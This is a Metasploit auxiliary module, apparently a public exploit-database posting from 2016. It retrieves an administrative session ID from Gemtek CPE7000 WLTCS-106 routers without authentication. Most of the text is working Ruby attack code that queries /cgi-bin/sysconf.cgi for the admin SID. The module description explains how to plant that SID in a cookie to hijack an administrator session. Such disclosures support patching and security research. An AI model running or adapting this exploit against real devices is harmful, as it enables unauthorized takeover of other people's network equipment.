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Gemtek CPE7000 WLTCS-106 Administrator SID Retriever

Posted on 26 April 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
'Description' => %q{
A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
unauthenticated remote attackers to retrieve a valid Administrative SID.

To obtain an administrative web session inject this SID in your client's
cookie with values as follow: userlevel=2;sid=<SID>

Tested on Hardware version V02A and Firmware version 01.01.02.082.
},
'References' =>
[
[ 'EDB', '39716' ],
[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
[ 'URL' , 'http://www.gemtek.com.tw/' ]
],
'Author' =>
[
'Federico Scalco <fscalco [ at] mentat.is>'
#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Apr 07 2016",
'DefaultOptions' =>
{
'RPORT' => 443
}
))

register_options(
[
OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end

def run
@peer = "#{rhost}:#{rport}"

res = send_request_cgi({
'method' => 'GET',
'uri' => '/cgi-bin/sysconf.cgi',
'vars_get' => {
'page' => 'ajax.asp',
'action' => 'login_confirm'
}
})

if !res or res.code != 200
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
end

ssid = res.body.split(',', 2)
print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
end
end

 

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